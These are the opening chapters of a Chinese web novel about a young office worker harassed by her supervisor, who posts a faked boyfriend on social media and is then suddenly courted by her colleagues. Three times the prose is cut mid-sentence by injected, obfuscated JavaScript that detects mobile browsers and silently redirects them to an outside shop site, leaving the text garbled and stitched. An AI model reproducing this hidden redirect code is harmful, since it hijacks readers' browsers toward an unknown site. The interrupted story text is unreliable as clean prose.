《误把上司发到朋友圈官宣以后》 1. 第一章 三八节的前一天,公司给女员工准备了鲜花和甜品店的礼券,主管在工作群里置顶消息:明天女员工休假一天,男员工。 收到消息时,迟念刚敷上面膜,她抿紧嘴唇,命令自己不许笑。 手机在洗漱台嗡嗡震动。 一条放假消息,把群里的男人都炸出来了。他们或激愤,或委屈,都在控诉自己也辛苦,为什么不设立个国际男人节。 短短两分钟,消息99+ 迟念捋好面膜的褶皱,拿着手机回卧室,悠闲地躺在床上,先把群消息静音,然后给何伶发消息。 【小迟】:劳模你好,今晚几点杀青? 这句消息幸运地赶到拍摄空档,对面秒回。 【可伶可俐】:十二点之前,怎么啦~ 【小迟】:明天你进组吗? 许是那边快要忙了,何伶直接把电话打过来,“什么情况?” 迟念把手机平放在锁骨中间,按下免提,因为敷面膜,说话瓮声瓮气的,“没事啊,明天过节,问你有没有时间出去逛街。” 城郊的拍摄基地里,何伶一身古装,妆容夸张,唇角还带着道具血,听她这么说,有些懵,“什么节,情人节不是刚过去吗?” “…妇女节。” “噢…我去,竟然已经三月了!” “明天休息的话请你吃甜品啊,公司福利。” 何伶坐在折叠椅上,余光看到已经站位的演员们,赶紧捂着话筒说:“OK,明天必须休息,我等会儿还要聚餐,先睡吧,不用等我。” 挂了电话,迟念又躺了一会儿,熬到面膜十五分钟后,才慢腾腾起身,去洗手间卸掉,顺便护肤。 二十四岁,正是最好的年纪。 镜子里的人面容清秀,皮肤透亮,一头黑发随意盘在头顶,虽穿着宽松睡衣,却能看出骨架匀称,身材纤细,满可以夸一句标志漂亮~ 但…这只限于她单人出镜。 如果身边站着何伶,迟念就生动地诠释了一个成语——黯然失色。 她一点都不在意自己被何伶比下去,因为从记事起,何伶就是方圆百里最漂亮的女孩,每当她被叔叔阿姨们夸奖,迟念都与有荣焉。 她们在小镇出生,从小一起长大,或许有命运的安排,就算毕业之后选择了不同的行业,她们也选择留在一个城市,当起了合租室友。 何伶原本也和迟念一起投简历,实习,脚打后脑勺地忙了两个月之后,说什么都不干了。因为容貌姣好,机缘巧合下当起了短剧演员。 短短五个月,已经杀青了30多部,各种题材均有涉猎。 今晚杀青的剧是古装,剧本她还看了一眼,好像是古代两女争一夫的狗血戏码,何伶依然是恶毒女配。 涂完面霜,她搓着手回卧室,一眼就看到床边亮屏的手机。 她弯腰,看到一棵松柏头像,顿时觉得晦气。 光顾着屏蔽工作群,忘屏蔽他了。 老乌龟! 好心情大打折扣,但是消息不能不看,因为是直属领导。 【一晔知秋】:小迟,想必你已经知道明天休息,三八妇女节,是女人的节日,一定要好好享受,明天准备去哪玩? 消息看完,命没了半条。 迟念内心OS: ——你管我明天去哪玩! ——节日祝福怎么不和你老婆说,大半夜的和员工说什么,不要脸的老东西。 ——癞蛤蟆想吃天鹅肉,家里有镜子劳烦去照一下。 …… 不管心里吐的泥多黑,她这刚转正的职场菜鸟也不敢原话照搬,坐在地毯上,捏着手机,指尖在屏幕慎重地敲击。 【小迟】:谢谢韩主管,也祝嫂子节日快乐。 【一晔知秋】:这么客气做什么,明天我下市场考察,正好你坐我车过去,结束了请你吃火锅[机智]。 啊!好烦! 谁稀罕吃你请的破火锅。 韩主管名叫韩烨,奔四的年纪,地中海的发型,八月怀胎的肚子,这样的形象挂在网上是恶评上万的油腻男,可在公司里却能横着走。 没有经理,主管称王,她能转正也是他拍板通过的。 平时上班人模狗样,下班以后搞小动作,迟念已经很努力地躲了,没想到退让换来他更加有恃无恐,这已经是第三次单独邀她出去了。 抗拒,恶心,她忍着怒意,狠狠敲字。 【小迟】:不好意思韩主管,我明天有事。 【一晔知秋】:怎么,和男朋友约会?[挑眉] 迟念在心里大吼:对啊,就是和男朋友,怎么了?怎么了!! 只顾愤怒,忘记管手,待她低头看屏幕时发现,绿色的聊天泡泡里赫然出现一个“是”字。 “我靠!” 她手忙脚乱想撤回,对面却弹出一条消息。 【一晔知秋】:好啊[龇牙],把你男朋友带来见见,我顺便帮你把把关。 迟念:…… 她差点心梗。 如此自信的语气,如此欠揍的表情,就是吃准了她没有男朋友。 也难怪,谁让她一身寡相。 上个月下冻雨,公司通知提前下班,别的女同事都是男朋友或者老公来接,只有她,披着一次性雨衣走路回的家。 在如此恶劣的天气步行十公里,她的身体依旧强壮,连喷嚏都没打一个,在咳嗽声此起彼伏的办公室里,十分显眼。 也是那次,韩主管确定她孤身一人在这里,骚扰越来越明显。 她深呼吸,在暗灭屏幕之前回了一句:【谢谢韩主管,以后会有机会的。】 * 何伶到家的时候刚好十二点。 她穿着毛呢大衣,古装发型裹在毛线帽子里。三月天寒,她的鼻尖透着红,仰头,呵出一口白气,余光却注意到十二楼的灯还亮着。 她搓搓手,“不是吧,这丫头竟然没睡!” 何伶进屋的时候,迟念正呈大字躺在床上,门响了也没动一下眼皮,就那么呆呆地盯着吸顶灯。 “念念~”何伶迅速换鞋进屋,走过去,在她眼前晃了晃热乎乎的炸鸡套餐,“你是不是知道我会买夜宵回来啊。” 迟念眼珠转了转,终于定在香味四溢的包装袋上,她支着胳膊起来,气若游丝地说:“买啤酒了吗?” “疯了啊你!大半夜喝啤酒?”何伶一脸正气地吼完,马上从袋子里拿出一罐啤酒,妖娆地飞了个眼,“当然买了,两罐,刚好不肿脸的量。” 迟念十分感动,她上半身扑过去抱住何伶的大腿,声音带着哭腔,“伶子,没有你我可怎么活啊!” 明天休息,今晚肆意。 简易小桌摆在客厅中央,两个女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565645|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩盘腿对坐,何伶把保温袋打开,往炸鸡上转圈挤酱,迟念打开啤酒,送到她手边一罐。 干杯~ 啤酒下肚,气泡强烈,迟念好久没喝,喉咙不适应,缓了半天才顺下去。 何伶还好,平时喝酒机会太多,今晚借口有急事才推了杀青宴,不然得喝到明天早上才能回来。 她一口喝掉半罐,抬头看迟念。女孩眉头紧锁,头顶都是乌云,很明显有心事。 “到底怎么了,大半夜的不睡觉。” 迟念机械地咬了一口鸡腿,拿出手机,单手开锁,点进聊天页面,递给她看。 何伶一目十行,越看越气,“…他神经病啊。” “怎么办?上学时老师也没教怎么反抗职场骚扰啊。” 何伶:“……” 她摆正手机,上拉记录,从头往下仔细看,边看边总结:“他真是心机,这种聊天记录给外人看会觉得他是个关心下属的好领导,就是看你没有社会经验好欺负。” 迟念磨牙,“没错!” 翻到最后,何伶看到几个小时前的聊天,眼神一亮,“欸,你这不都说自己有男朋友了吗。” “你看他信吗?” “呃…好像不信。”何伶嫌弃地把手机推远。 迟念化屈辱为食欲,一口气干掉半只鸡,心里幻想着爽文场景,现实却是窝囊废一个。无他,因为不想失去工作。 “我刚转正,五险一金顺利交上之后,我爸妈就不会催我回老家了。” 何伶很懂,因为她也不想回。 她们出生的小镇偏远落后,人情关系盘根错节,回去就等于折断翅膀,演员梦更是想都不要想。 她挪过去,坐在迟念旁边,大脑飞速运转。 “要不我给你介绍个男人?” 迟念差点呛到,边咳嗽边拒绝:“不用,我对演艺圈工作者没兴趣。” 何伶虚锤她一拳,直入问题核心,“现在你的兴趣不重要,你男朋友这个位置有人才重要。” “我在这广告位招租呐?” “那不然呢!”何伶扶了扶鼻梁上不存在的眼镜,沉声说:“你主管觉得你无依无靠才敢这样,那如果你有男朋友呢?如果你的男朋友强壮威武往那一站像铁塔呢?” 迟念眨眨眼,“在哪呢?铁塔。” 何伶恨铁不成钢地敲了一下她的脑袋,“找啊!真人找不到,网上还找不到图片吗,先在朋友圈宣传一下,看看他什么反应。” 迟念想了想,觉得这个方法可行。 如果韩主管是那种有贼心没贼胆的,知道她有男朋友了一定不会再继续;相反,如果他明知这样还骚扰,那就…花钱雇人把他拖到暗巷打一顿。 她这边刚决定,何伶就在手机翻出一堆精修照,老鸨似的依次介绍:“这个,八块腹肌,走硬汉风,声音贼有磁性,我荧幕初吻就是给他了。” “这个,真人巨帅,家里有工厂,演戏纯属追寻梦想。” “还有还有,这个长相一般,但他是导演,电影学院毕业的,老有才了。” 迟念越看眼皮越重,实在忍不下去了,把手按在屏幕上,“不要,我都找照片了,干吗还选同城的,万一走在大街上遇到了呢。” “遇到就谈呗,我给你看这几个都挺优秀的。” 迟念斩钉截铁地拒绝,“不用!我自己找。” 2. 第二章 节日当天,迟念睡到快到中午才睁眼。 旁边的何伶还没醒,她骑着羊驼抱枕,半张脸埋在软白的绒毛里,日光透过窗帘照在眼皮上,依旧呼吸均匀。 反正今天休息,迟念也不着急起。 从枕下拿出手机,点进常去的社交APP,按+号,从相册里拉出一张吸睛的搞笑图后,编辑内容。 【姐妹们,急急急,有没有女友角度的照片,最好是和男人对坐吃饭的,餐厅最好高级点儿,菜品也过得去(不要大排档那种)】 十二点整,帖子发出去。 她没有捧着手机傻等,发完之后轻手轻脚地起床,洗漱完回来才点开看回帖。 可惜,只有寥寥几个评论,大半都语气不善。 ——怎么,strong姐没有素材发朋友圈了?上这来乞讨。 ——笑死,要求还挺多,大排档怎么你了? 迟念头大,看来没有说清楚,她想了想,马上二次编辑。 【评论区有姐妹误会了,在这解释一下发帖动机。我是单身,公司里有个猥琐男一直骚扰我,在我口误说了有男朋友之后,他表示不信继续纠缠,因为是直管我的领导,不想丢工作,所以想用照片搪塞过去(大哭)】 重新发送后,消息通知栏的数字迅速增加。 她点开评论区。 先前骂最狠的用户第一时间回复。 ——原来是这样,猥琐领导最恶心了,抱抱,刚才不好意思了,这就把我过年去巴黎的照片借你,澳龙和牛排够不够排面? 迟念满怀感恩地点开,只看一眼,就pass掉了。 她回复:太感谢了,但是!对面的男人是外国人,后座还有一群英伦帅哥,这和我实际情况不符,不管是人还是菜我都吃不到这么好的[泪目]。 回复的过程中,符合要求的图片从天南地北汇入评论区。帮她挑选照片的人也越来越多,自然而然,点赞最多的图片顶到一楼。 这张照片有些暗,不符合高级餐厅和对面坐着男人的要求,只有一盏橘色落地灯,旁边影影绰绰,好像是个人影。 她疑惑地点开,顺便调整亮度。 然后,眼睛瞪得像铜铃。 豪华酒店,灯光昏暗,男人裸着上半身,下面黑色西裤,肌肉练得恰到好处,他没有看镜头,看动作是准备去拿水。 发照片的用户名叫“花小妖”,IP地在两千公里外,评论的内容慷慨简洁。 ——拿去用,不谢。 迟念只用了0.1秒就决定用这张!因为她发现自己在点开图片之后,第一时间长按保存了,而且…心里竟然生出只有一张背影的遗憾。 左思右想,她还是决定赌一把,紧张地点开“花小妖”的头像,进入私聊页面。 发了个友好打招呼的表情。 仔细斟酌措辞。 ——姐妹打扰了,我是刚才求照片的帖主,有个不情之请…你男朋友有没有日常生活照?我想借用一下(有偿),如果你觉得这样很冒犯,可以不回复。 可以预料得到,对面沉默。 这样是对的,可以理解。 迟念甚至换位思考,假如是自己的话,有个莫名其妙的人来借男朋友照片,当然不会给,还会骂对面是神经病。 啊! 说不定“花小妖”此刻正对着屏幕大骂呢? 迟念后悔了,但是消息超过三分钟撤回不了,她只能硬着头皮把聊天框删除,假装自己没有干这种蠢事。 在她无声抓狂中,何伶醒了,她挠着睡成鸡窝的头发,记起昨晚的约定,“走啊,不是说要请我吃甜品。” 迟念放下手机,故作无事地点了点头。 公司发的甜品券距离公寓地铁十五分钟,她们到的时候快一点,店家应该为了节日大批量发的券,门口排着长长的队。 玻璃窗内,寥寥几张桌早已被占据,店里的布置从适合拍照的ins风变成批发市场。 何伶拽了拽迟念衣角,在她耳边小声:“取完回家吃吧,你在这排,我去买点虾尾。” 前面估摸着三十几号人,只能这样了,迟念叮嘱要走的何伶:“别忘了买点酒。” 何伶狠瞪了她一眼,用口型说:“还喝上瘾了你!” 酒是能解愁,但迟念的酒量还构不成上瘾的门槛,最多一瓶,身体就会因为吸收不了频繁去厕所。 在她去完第三次时,头晕的症状已经消失了。 客厅的电视放着哈哈傻笑的综艺节目,地毯上支起小桌,桌上摆着没吃完的六寸草莓蛋糕和虾尾壳,何伶靠着沙发坐,认真地刷手机。 迟念揉了揉眼睛,一步跨过去,“你拿错手机了吧?” “没有啊,我就是在看你手机。” 迟念想到早上不清醒时发的帖子,还有新存的男人裸照,顿时生出一种见不得人的羞耻之心,急慌慌地抢回来。 结果发现,何伶看的是微博广场。 她很得意,“念念,现在竟然能在各大平台搜到夸我的了,以后要是拍出一部爆款,岂不是有个人百科了?!” 迟念没接茬,目光定格在手机页面上。 ——偶然刷到《祸水》这部短剧,一个半小时看完,怎么说呢,何伶演贱人有一套的[微笑][尖刀]。 迟念看了看手机,又转头看何伶,眼神在问:你管这叫夸? 何伶理所当然地点头,“这确实是夸啊,手机拿来,用你的号给我做做数据。” 迟念捂紧手机,“你自己开小号做啊。” “开了啊,小号的夸夸任务已经完成了,我现在需要自来水。” 迟念翻了个白眼,“你都把我微博名改成‘何伶全球粉丝后援会’了,是你粉丝大本营,你管这叫自来水?” 何伶笑嘻嘻地凑过来,软的不成用硬的,她上半身压住迟念,纤细的手臂像蛇一样缠住她的手腕,想拿走手机。 迟念终于觉得不对劲。 她用力握紧,整个人卧倒,用上半身护住。 何伶执着地压过来,抢不到,手转而伸向腋窝,企图使用这种低级方法逼她就范。 迟念痒死了,边躲边说:“干吗非要看我手机,你自己没有啊?” “嘿嘿,你心虚了吧,有事瞒着我对不对,坦白从宽抗拒从严哈!”说完,何伶调转方向扣住她脚腕,想做什么不言而喻。 迟念最怕的是脚痒,光是想到那种感觉就起了一身的鸡皮疙瘩,她声音铿锵有力:“我身心坦荡,没什么可坦白的。” “真的?” “发誓!” 何伶抱着胳膊,cos法官的姿势,“那为什么有人给你发色色的东西?” 迟念:“啊?” 这简直是危言耸听,天地良心,她连黄色网站都没看过! 何伶见她装傻,循循善诱地说:“刚才你手机弹出消息,内容有点劲爆啊,你给我从实招来,是不是在搞网恋?” 迟念死死抱着手机,看着是心虚,但嘴贼硬,“都什么年代了,还网恋…” 好奇心能杀死猫,何伶不逗她了,和迟念是要做一辈子的好朋友,不管她做了什么都能接受,前提是…得分享。 她又恢复平日的懒散,伸出一只手,“那给我看看。” 迟念心虚,“看什么,相册吗?” “…你相册里都是我的丑照,我才不看,想看你刚收到的消息。” “微信?没人和我说话啊。” 何伶趁她发懵,一把抢过手机,熟练地解锁点进红标APP,把罪证暴露在阳光之下。 两颗脑袋头顶头,看到私聊页面里突兀的一句— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565646|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —光膀子这张不满意? 啊?没头没尾的一句,这是什么新型的变态! 可是,当迟念看到用户名字时,窜起的火气立刻偃旗息鼓,这不是菩萨姐“花小夭”吗!她竟然回复了! 这让她的希望再一次燃起。 何伶微笑着听她解释,然后捋出事情经过。 “意思是…你发帖撒网钓男人照片,然后这女的把自己男朋友晒出来,你看中了,就想找她要更多,是这个意思吧?” 迟念心虚地点了点头。 “你…呃…我…”何伶罕见地语塞,“怎么想到这么野的路子,还私信管他女朋友要,你哪来的勇气。” “我说了有偿的啊!” “在哪呢?” 迟念诚恳坦白:“删掉了,但是你相信我,找她要照片是因为照片很生活化,而且是IP很远的外省。” 她解释的时候,手也没闲着发消息——姐妹千万别误会,我真没有别的意思。 “花小妖”似乎没有多想,更没有多说一个字的废话,收到消息后,很干脆地甩了好几张这个男人的日常照。 迟念瞪大眼睛,何伶也凑过来,神情复杂地说了一句:“你隐瞒了最重要的理由吧,是因为这个男人够帅。” 新发的几张照片质量更好,和酒店的晦暗暧昧不同。 白天光线充足,能看出男人非常年轻,二十三四岁的模样,五官端正,皮肤紧致,眼神澄明,开朗地对着镜头笑。 四张照片,一张穿着运动服打羽毛球的,一张骑自行车的,剩下两张在咖啡馆,镜头靠近咖啡杯,热气氤氲,优越的侧脸覆上一层男神的滤镜。 迟念无视好友在侧,贪婪地全部保存到相册,然后敲字。 ——收到收到!姐妹是在世活菩萨,祝你发一辈子大财!收款码发来! 对面秒回。 ——靠!再夸几句! 这句回复和酷姐形象截然相反,迟念短暂愣怔后,马上回复。 ——总之,谢谢姐妹江湖救急,你的慷慨我会谨记在心,祝人美心善的姐妹早日和男朋友修成正果! “花小妖”的名字下,反复提示对方正在输入… ——这不是我男朋友OK?撤回你这句话,然后重点祝福一下我财运这方面。 嗯? 点开用户主页,对面性别确实是男。 尴尬…不过没关系,做好事的都是姐妹。 现在重要的是让“姐妹”开心,迟念搜肠刮肚,回忆过年时的拜年话,结果想一句pass一句,那些都太烂大街了。 情急之下,转头看何伶,卑微求助:“要不你上网帮我搜点呢。” 何伶狠瞪她一眼,手却从沙发的角落拽出手机,点进搜索引擎… ——祝花小妖,日富一日,年富一年,钱从四面八方来,发财不迷路,条条大路都致富! 对面简单粗暴,用照片回复。 这张是冬天拍的,在雪地里,他穿着黑色羽绒服,后面是一棵巨大的圣诞树。天寒地冻,他呵出白雾,白雾遮住俊脸,只能看到模糊的轮廓。 照片越不清晰,对她来说就越蛊惑。 迟念手指狂敲屏幕。 ——靠!你就是财神爷本爷! 嗖嗖,对面秒发过来两张。 惊喜的是,有一张符合她要求的吃饭照,背景看着像东南亚餐厅,他穿着无袖白t,胳膊的肌肉漂亮匀称,没有直视屏幕,微低着头把蟹肉从壳里拉出来。 决定了,就用这张! 三八节的这天中午,迟念和何伶瘫在狼藉的客厅里,把全网的发财话全都搜了出来,投给那个叫“花小夭”的用户。 发过去二百元红包,收到那个男孩的二十八张照片,迟念专门开了个相簿,相簿的名字叫《互联网男友》。 3. 第三章 假期一晃而过。 工作日的早上,闹钟在枕下狂叫,迟念艰难地从床上爬起来,把昨天剩的甜品配上酸奶当早餐,闭着眼往嘴里送。 何伶最近事业运很好,节日当天就敲定了新剧,她连夜把剧本打印出来装订成册,在餐桌上嗡嗡地念。 迟念听了一会儿,“怎么又是反派?” 何伶“唔”了一声,还挺骄傲,“妖艳贱货我的舒适区啦,相比那种伟光正,我更喜欢这种有挑战性的配角。” 迟念竖起大拇指,“你可真~棒!” “当你是在夸我吧。”何伶突然想到,“你昨晚发官宣的朋友圈了吧,效果怎么样,有多少人点赞?” 昨天顺利要到照片后,迟念选出两张用来官宣,第一张是餐厅露胳膊吃饭照,第二张是酒店裸身照。 生活不过吃和睡,这两张照片释放出关系确凿的暧昧。 文案也是经过她反复挑选,最终确定了一句不那么咯噔的——不太会说爱,但已经偷偷幸福很久啦~~ 虽然这样,但她点开手机看到时,还是被尬得头皮发麻。 何伶好奇地凑过来,“猥琐主管点赞了吗?” 朋友圈页面很干净,没有消息通知,昨晚纠结半宿选出的照片和文案就这么夹在一众热闹中间,无人在意。 何伶咂咂嘴,“你和同事关系这么差啊?” 迟念尴尬的无地自容,一冲动直接删了朋友圈,何伶阻拦未果,安慰道:“万一昨天他们都很忙,没有刷到呢。” 没有这种可能,迟念心里清楚。 刚转正的新人在公司处于食物链底端,正事儿轮不上,琐碎一箩筐,平时的工作内容大都是买个咖啡,整理会议内容,或者打印这种跑腿的事… 不仅如此,上班路上还要帮忙带早餐。 春寒料峭,她搓了搓冻麻的手,接过打包好的M记,马不停蹄奔向写字楼。 工作日,电梯拥挤,她靠身材优势贴边挤进去,站在最后面的角落。 公司在十九楼,整层都是陈氏实业的办公区。 提前十五分钟打卡,开门之前调整好表情,元气满满地走进去,直奔靠窗的并排工位,把早餐放在桌上。 “欢姐,你的肉饼和粥。” “娇娇,你的豆浆和鸡蛋。” 她熟练地把包装袋放好,然后拎着最后一包走到办公室门口,笑着说:“珍珠姐早上好!我给你带了绿豆饼。” 叶珍珠人如其名,皮肤白皙,身材圆润,笑的时候唇角漾起两洼浅浅的酒窝。她原先是秘书,经理位置空了之后又变成助理。 今天不知道怎么,看到迟念过来,吓了一跳,来不及等她说完就指了指身后的门,低声说:“小迟,韩主管等你一早上了。” “啊?”迟念心里咯噔,“他找我做什么。” 叶珍珠若有所思地看了她一眼,“这个我不太清楚。” 迟念非常抗拒。 四方间,韩主管,门锁住,里面发生什么事没人知道。她想到新闻或者影视剧里的职场骚扰案件,后背冷汗涔涔。 “呃…我突然想到有急事,就先…”在她胡言乱语时,办公室的门倏地打开。 四目相对,看到她站在这里,韩主管有些意外,忙招揽,“欸,小迟?快,进来,我有事想和你说。” 迟念眼睁睁地看着男人的手伸过来,抓住自己的手腕,力道收紧的一瞬间,她忍不住尖叫一声。 “啊!” 叶珍珠吓了一跳,韩主管愣了一下,力道更重,直接把她拉进办公室里,砰的一声把门反锁。 他轻“啧”了声,说话是长辈的语气,“喊啥啊,一惊一乍的。” 迟念面色苍白。 她像一只待宰的活鹌鹑,摸不清韩主管在众目睽睽之下叫她进来的企图,如果真动手动脚了,这屋里连个趁手的武器都没有。 韩主管不知她心理活动,关好门之后走去办公桌边,把价值几千块的豪华老板椅拉出来,颔首做了个“请”的姿势。 他笑容满面,“小迟,来坐。” 迟念背靠着门,拘谨地摇头,“不了韩主管,您有事直说就好。” “害,我能有什么事啊。” 韩主管见她紧绷,执着地把椅子送到门口,脸上没有一丝不耐,甚至一直维持笑容,仔细看的话,这种笑和平时的不一样。 迟念狐疑地看着他的脸,怎么会…感觉到一丝谄媚呢。 谄媚? 不是吧,他在发什么神经… 韩主管见她脸色风云变幻,也不卖关子了,不带一丝暧昧地按着她的肩膀,把她按坐在椅子上。 转动方向,他蹲下,仰头看迟念,一副和她很熟的嗔怪姿态,“小迟啊,你有这关系咋不早说呢。” 什么啊…莫名其妙。 迟念想站起来,又被韩主管眼疾手快地按住。 他眨眨眼:“我懂,我懂,你这是低调。没事儿,我不说没人知道,咱部门现在还是我说了算,你有啥想整改的地方跟叔直说。” 韩主管用力拍了拍胸口,姿态越放越低,“叔直接给你表演个大刀阔斧,改到你满意,改到你顺心,改到你真情实感想在小陈总面前替我美言几句。” 就一夜没见,韩主管从猥琐领导成她叔了? 还有什么小陈总,她不认识这号人啊。 小陈酱肘子她倒挺熟的,公寓楼下开了十五年的老店,去的次数多了,老板的女儿会偷偷给她打折… 这都不重要! 迟念现在脑子很乱。 好在韩主管不用她回答,表完决心之后,像一头卸掉重担的老驴,突然燃起来了,“今晚七点!部门聚餐!我请客!庆祝你成功转正!” 迟念呆若木鸡。 她游魂似的回到自己工位,简洁的桌面,还和每天一样,此刻却多了两袋东西,扫一眼就知道是什么。 一包是给欢姐带的肉饼和粥。 一包是给娇娇带的豆浆和鸡蛋。 早会结束,叶珍珠拎着楼下刚买的摩卡走过来,放在那两包早餐旁边,笑着说:“谢谢你帮我带绿豆饼,请你喝咖啡。” “不用客气”还没来得及说出口,欢姐和娇娇突然过来了。她们一个拿着某大牌联名款水杯,一个拿着周末的音乐节门票,配合默契地把叶珍珠挤到旁边。 迟念情急,“欸?珍珠姐…” 叶珍珠无奈地看了一眼后来的两人,冲她耸了耸肩,示意自己先回去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565647|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娇娇伸手,把花花绿绿在迟念眼前晃了晃,语速极快地说:“迟念,谢谢你帮我带早餐,正好朋友送我两张音乐节的门票,我第一个就想到你了。” 欢姐站在旁边,没有给她反应的时间,接着说:“小迟,你一个人在外面打拼不容易,一定要注意身体。” 她丢掉桌角的一次性纸杯,把自己拿来的水杯摆上去,眼神温柔,“以后喝水就用我送你这个吧,拿得出手,还有保温功能。” 这一早上发生的事都超出迟念理解范围,平时都是她上赶着送早餐送咖啡,冷不丁调转位置,她不知道怎么反应。 “呃…不不不用,这都太贵重了。” 娇娇一听,眼睛瞪得溜圆,假装生气地把票塞进她西裤兜里,“拿着吧,下周末和男朋友一起去看。” 旁边的欢姐更是手快,把水杯的包装拆了,盒子丢进垃圾桶。因为年长,语气稍微硬了些,“对啊,年轻人大大方方的,给你就收着。” 迟念推脱不成,顶着个大红脸躲进洗手间。 弯腰检查一遍,确定隔间没人,才放心地坐在马桶上给何伶打电话。 响了好久才接,何伶那边有些吵,“念念,你怎么这个时间给我打电话。” “很忙吗,对不起,啊啊,但是怎么办!我感觉今天好怪啊。” “发生什么事了?” 迟念快速把到公司之后发生的事讲了一遍,苦着脸说:“很怪吧。” “确实。” “不会想优化我吧?” “不能。”何伶语气肯定,“会不会是你今天过生日,他们联合起来给你惊喜?” “傻啦,我生日是十月。” “哦对。那个猥琐主管说你认识小陈总,还让你帮他说好话,是不是误会什么了,还是你真认识小陈总?” “我认识个屁,小陈酱肘子我倒是很熟。” “哈哈我也熟,方圆十里属他家最正宗。” “……” 洗手间门外有脚步声传过来,迟念紧急挂断电话,刚想按冲水键,就听到隔壁财务部张姐的说话声。 她鬼使神差地收回手,凑到门边,仔细听。 “前天开的董事会你听说了吧,咱们分公司销售部那个不到三十岁的销冠,人家升职成大区副总了。” 和她一起来的人刻意压低声音,“真的啊!啧啧,早知道干销售了,发展空间真大。” “好是好,但是没能力也不行。人家销冠见人说人话,见鬼说鬼话,死的都能说活了,这样的人在哪都拔尖。” “那倒是,我不眼馋这种靠自己能力上去的。” 张姐“嗯”了一声,从包里拿出粉饼,对镜补妆。可惜的是皮肤大不如前,去年做的医美今年已经看不出痕迹,补妆有什么用,只会让皱纹更明显罢了。 她叹了一口气,“我是不指望升职了,只求领导是个正常人,让我按时下班就行。” “你们部门也有调动?” “没听说,我只知道升上去一个,再下来一个,不过不去销售部,好像去宣传部,那边的经理不是一直空着呢吗。” 隔间里,迟念震惊地捂紧嘴巴。 什么?部门要来新领导了!!! 4. 第四章 聚餐定在开发区的连锁韩式烤肉店。 迟念一整天战战兢兢,好不容易熟悉的工作突然大变样,气氛奇怪不说,竟然没人指使她跑腿了,也没人给她安排任务。 只能规规矩矩坐在椅子上,稍微动一下,就能感觉到暗处打量的视线,配合若有若无的低语,搞得她后背直发毛。 迟念在烤肉店的门口逮到叶珍珠,赶紧挎住她的胳膊,小声说:“珍珠姐,咱们部门是不是要来新经理?” 叶珍珠转头看她,唇角带着淡淡的笑意,“你明知故问啊。” 迟念一看她这样,就知道这件事是真的,她纠结再三,问出心里最在意的事,“那,韩主管调走吗?” 叶珍珠视线越过她的肩膀,看到包房门口揪着服务员点菜的韩主管,意味深长地说:“他都这么努力了,调走的可能性不大。” 迟念掩饰不住地失望。 她最后一个走进包房,进门的瞬间,耳边炸响,五颜六色的亮片从礼花枪里喷涌出来,轻飘飘坠落在头顶和肩膀上。 “转正快乐!!!” 气氛倒是极好,平时吹毛求疵的冷面同事像吃了转性药,一个赛一个热情。可她都转正两个多月了,搞这种马后炮,也不知道韩主管葫芦里卖的什么药。 在此起彼伏的恭喜声中,迟念被安排在主位。 炭火进炉,啤酒上桌,欢姐挑了一瓶最凉的,打开之后送到她手边,顺势拉过椅子,紧贴着坐下来。 她小声说:“小迟,咱部门有调动你应该知道了吧。” 迟念心想:的确是早上在厕所偷听到的。 面上却像以前一样,老老实实“嗯”了一声。 欢姐叹了口气,拿起酒瓶给她倒酒。迟念诚惶诚恐,拒又不敢,熬到泡沫顶到杯沿,赶紧点头道谢。 欢姐也给自己倒了一杯,一脸不加掩饰的惆怅,“小陈总要来咱部门了,他是新官上任三把火的个性,来的第一件事一定会内部整顿。” 小陈总? 迟念端起酒杯,这个名字是怪异的开端,今天的变化一定和他有关,看大家的样子,他们似乎误会了自己和小陈总熟识。 碰杯之后,垂眼抿酒,既然大家不直说,她也只能不懂装懂了。 “对,确实是他的风格。” 欢姐点头附和,亲热地拉住迟念的手,平时恶声恶气像只母老虎,现在却温柔似水,简直像换了个人。 她清了清嗓子,怕被人听到似的,声音压得极低,“小迟,今天咱俩都喝酒了,你说心里话,姐平时对你不错吧?” 迟念小鸡啄米点头,“姐一直对我很好。” 话音刚落,环绕在欢姐头顶的愁云倏然散开,她笑得眉眼弯弯,从手腕上撸下来一个玉镯,丝滑地送到迟念的手腕上。 迟念震惊她的操作,…什么情况啊,在这演后宫戏呢? “不不不欢姐!”她动作迅速,把镯子原路返回,并松开手,从源头杜绝这种见不得光的地下交易。 她正襟危坐,“姐的好都在我心里。” 礼物被退回,欢姐有些尴尬,她捋了两下头发,不自然地说:“哎呀,没多少钱的小玩意儿,就是感觉挺适合你的。” 迟念虽然生在北方,但是对送礼时的拉扯话语十分反感,万幸的是救星从天而降,娇娇扭着细腰过来,拍了拍欢姐的肩膀。 